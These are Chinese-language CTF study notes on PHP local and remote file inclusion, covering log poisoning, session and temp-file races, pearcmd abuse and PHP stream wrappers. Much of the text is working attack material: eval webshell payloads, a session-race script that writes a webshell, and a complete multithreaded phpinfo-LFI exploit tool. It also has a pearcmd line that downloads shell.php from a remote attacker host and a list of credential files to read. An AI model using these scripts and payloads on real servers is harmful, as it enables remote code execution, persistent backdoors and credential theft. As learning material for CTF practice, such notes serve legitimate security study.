文件包含 一、文件包含漏洞的原理 以PHP为例,常用的文件包含函数有以下四种 include(),require(),include_once(),require_once()
1 2 3 <?php include $_GET ['test' ]; ?>
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。?test=phpinfo();
因此可以配合文件上传漏洞上传一个图片马,配合文件包含漏洞解析
文件包含不支持通配符
二、本地文件包含漏洞(LFI) 1 2 3 4 <?php $file =$_GET ['filename' ]; include ($file ); ?>
直接更改filename可以读取本地文件
1 2 3 4 5 6 7 8 9 Linux/Unix系统敏感文件: /etc/password //账户信息 /etc/shadow //账户密码信息 /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置 /usr/local/app/php5/lib/php.ini //PHP相关配置 /etc/httpd/conf/httpd.conf //Apache配置文件 /etc/my.conf //mysql配置文件
利用方法:
1.结合文件上传漏洞 2.包含Apache、nginx日志文件 默认nginx的日志路径为 /var/log/nginx/access.log
默认apache/var/log/apache2/access.log
/var/log/apache2/access.log
或者通过phpinfo()查看
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log
直接访问127.0.0.1/<?php phpinfo();>,服务器的日志文件就会解析出这个url,但是被url编码,所以用burpsuite拦截一下更改成未编码的语句
之后通过访问日志文件的位置,执行php代码
注意:如果是UA头注入代码,必须一次写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)
1 2 3 4 ?file=../../../../../../var /log/nginx/access.log UA:<?php eval ($_POST [1 ]);?> post:1 =system ('tac /f*' );
3.包含session文件 可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到
session常见存储路径:
/var/lib/php/sess_PHPSESSID /var/lib/php5/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
涉及到base64编码的原理:4转3
考虑一下session的前缀:username|s:12:"
,12是base64串的长度。这个前缀有15个字符,不是4的倍数,所以我们只要让长度为三位数即可
也可以竞争包含session文件,脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requestsimport threadingsess = "Z3r4y" file_name = "/var/www/html/1.php" file_content = '<?php eval($_POST[1]);?>' url = "http://4adad3b1-d115-4411-980a-01c255f1346e.node5.buuoj.cn:81/flflflflag.php" data = { "PHP_SESSION_UPLOAD_PROGRESS" : f"<?php echo 'success!'; file_put_contents('{file_name} ','{file_content} ');?>" } file = { 'file' : 'Z3r4y' } cookies = { 'PHPSESSID' : sess } def write (session ): while True : r = session.post(url=url, data=data, files=file, cookies=cookies) def read (session ): while True : r = session.post(url=url + "?file=/tmp/sess_Z3r4y" ) if "success" in r.text: print ("shell 地址为:" + url + "/1.php" ) exit() else : print ('让我访问!!' ) if __name__ == '__main__' : threads = [] for i in range (5 ): session = requests.session() t = threading.Thread(target=write, args=(session,)) threads.append(t) t.start() for i in range (5 ): session = requests.session() t = threading.Thread(target=read, args=(session,)) threads.append(t) t.start() for t in threads: t.join()
注意,有的题目可能会跳转到404页面,成功的标志需要改动
比如
1 2 3 4 5 6 7 8 data = { "PHP_SESSION_UPLOAD_PROGRESS" : f"<?php phpinfo(); file_put_contents('{file_name} ','{file_content} ');?>" } if "flag" in r.text: print ("shell 地址为:" + url + "/1.php" ) exit() 利用phpinfo来判断是否成功 可以不用flag,用phpinfo的固定信息比如HTTP_HOST!!!
使用burp进行文件包含时
1 2 3 4 5 6 POST /flflflflag.php?file=1.php HTTP/1.1 Host: 4adad3b1-d115-4411-980a-01c255f1346e.node5.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded Content-Length: 14 1=phpinfo();
注意把get改成post,请求头只留下这几项
4.包含temp文件 php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
文件名一般为/tmp/php?????,我们需要获取脚本运行期间临时文件的完整名字
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的 4096个字符
假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name临时文件名字,读取后可以成功包含
强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件 最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含
用脚本,前提是能知道tmp文件名字才能利用
1 2 3 4 5 6 import requestsfrom io import BytesIO payload = "<?php eval($_POST[cmd]);?>" data={'file' : BytesIO(payload.encode())} url="http://32f26493-8e79-4605-94f2-5aed8ab9fb8c.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" r=requests.post(url=url,files=data,allow_redirects=False )
可以强制上传tmp文件,见刷题拓展
也可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 import sysimport threadingimport socketdef setup (host, port ): TAG = "Security Test" PAYLOAD = """%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA = """-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ + padding + """\r HTTP_ACCEPT_LANGUAGE: """ + padding + """\r HTTP_PRAGMA: """ + padding + """\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" % (len (REQ1_DATA), host, REQ1_DATA) LFIREQ = """GET /?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag ): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len (d) < offset: d += s.recv(offset) try : i = d.index("[tmp_name] => " ) fn = d[i + 17 :i + 31 ] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096 ) s.close() s2.close() if d.find(tag) != -1 : return fn counter = 0 class ThreadWorker (threading.Thread): def __init__ (self, e, l, m, *args ): threading.Thread.__init__(self ) self .event = e self .lock = l self .maxattempts = m self .args = args def run (self ): global counter while not self .event.is_set(): with self .lock: if counter >= self .maxattempts: return counter += 1 try : x = phpInfoLFI(*self .args) if self .event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self .event.set () except socket.error: return def getOffset (host, port, phpinforeq ): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True : i = s.recv(4096 ) d += i if i == "" : break if i.endswith("0\r\n\r\n" ): break s.close() i = d.find("[tmp_name] => " ) if i == -1 : raise ValueError("No php tmp_name in phpinfo output" ) print "found %s at %i" % (d[i:i + 10 ], i) return i + 256 def main (): print "LFI With PHPInfo()" print "-=" * 30 if len (sys.argv) < 2 : print "Usage: %s host [port] [threads]" % sys.argv[0 ] sys.exit(1 ) try : host = socket.gethostbyname(sys.argv[1 ]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1 ], e) sys.exit(1 ) port = 80 try : port = int (sys.argv[2 ]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2 ], e) sys.exit(1 ) poolsz = 10 try : poolsz = int (sys.argv[3 ]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3 ], e) sys.exit(1 ) print "Getting initial offset..." , reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range (0 , poolsz): tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try : while not e.wait(1 ): if e.is_set(): break with l: sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else : print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set () print "Shuttin' down..." for t in tp: t.join() if __name__ == "__main__" : main()
python tmp.py host port
前提是phpinfo必须有tmp_name
5.pear文件包含 限制伪协议和文件后缀,很容易联想到pear
条件:
1 有文件包含点 2 开启了pear扩展 3 配置文件中register_argc_argv 设置为On,而默认为Off
PEAR扩展
PHP Extension and Application Repository
默认安装位置是 /usr/local/lib/php/
利用Pear扩展进行文件包含
方法一 远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php
方法二 生成配置文件/tmp/ctf.php,配置项传入我们恶意的php代码的形式
a=b
username=root man_dir=<?php eval($_POST[1]);?>
ctfshow.php
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式,在网站目录下创建1.php
1 2 GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var /www/html/<?= `$_POST [1 ]`;?> +1 .php 注意是否自带php!!!!!
或者
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[_]);?>+/tmp/a.php
三、远程文件包含 如果PHP的配置选项allow_url_include
、allow_url_fopen
状态为ON的话,则include/require 函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
1 2 3 4 <?php $path =$_GET ['path' ]; include ($path . '/phpinfo.php' ); ?>
为了避免/phpinfo的影响,5.3.4以下的版本可以%00截断,其他版本可以?截断
远程读取文件用到了php伪协议
1.file:// file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
file:// [文件的绝对路径和文件名]
2.php:// php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input php://filter用于读取源码。 php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://filter/convert.base64-encode/resource=文件路径 读取源代码!可以不加read=
还可以使用rot编码index.php?file=php://filter/string.rot13/resource=flag.php
或者?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
查看php支持的编码
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。前提:allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input
,然后使用burp抓包,post写入php代码:<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>
生成名为shell.php的木马
3.zip:// zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。可以替换为zlib://和bzip2://
注意,#要编码为%23 我们在使用时不用关心路径,文件名改成需要执行的脚本名字,后缀无影响
4.data:// 类似于php://input,当与包含函数结合,会当做php文件执行,可以直接执行php代码!
利用条件:
allow_url_fopen :on
allow_url_include:on
POC:
十进制ip:
39.156.69.79
39256^3+156 256^2+69256^1+79 256^0=654311424+10223616+17664+79=664552783
?file=http://664552783/1
配合上例如@之类的可以造成强大迷惑,如http://www.sohu.com@664552783
这样,乍一看是sohu,实际上访问到baidu
四、刷题拓展 1.利用php7 segment fault特性(CVE-2018-14884) php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复 php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复 php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复 可以获取文件名 源代码将GET参数进行文件包含
利用脚本,在/tmp目录下生成文件
1 2 3 4 5 6 import requestsfrom io import BytesIO payload = "<?php eval($_POST[cmd]);?>" data={'file' : BytesIO(payload.encode())} url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" r=requests.post(url=url,files=data,allow_redirects=False )
如果知道文件名,即可进行文件包含
1 2 3 4 5 6 POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1 Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded Content-Length: 14 cmd=phpinfo();